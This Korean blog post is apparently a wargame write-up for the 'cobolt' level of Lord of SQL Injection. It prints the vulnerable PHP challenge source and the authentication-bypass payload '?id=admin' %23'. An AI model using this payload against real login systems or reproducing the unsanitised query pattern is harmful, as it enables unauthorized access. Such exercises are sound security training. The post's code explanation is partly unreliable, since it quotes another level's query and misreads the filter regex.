query : select id from prob_cobolt where id='' and pw=md5('')
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
- id에 "prob", "_", ".", "(", ")"가 포함될 경우 "No Hack ~_~" 출력
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
- ID, PW를 POST 방식이 아닌 GET 방식으로 삽입되는 것을 알 수 있음
if($result['id'] == 'admin') solve("cobolt");
- id는 admin으로 고정
문제 해결
id를 admin으로 송신하며, 뒤에 SQL문을 주석처리
- GET 방식으로 URL에 SQL 대입 ( ?id=admin' %23 )
- query : select id from prob_cobolt where id='admin' #' and pw=md5('')
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 05 ] wolfman (0) | 2021.12.18 |
---|---|
[ LS - 04 ] orc (0) | 2021.12.18 |
[ LS - 03 ] goblin (0) | 2021.12.18 |
[ LS - 01 ] gremlin (0) | 2021.12.18 |
[ LS - 00 ] Lord of SQL Injection (0) | 2021.12.18 |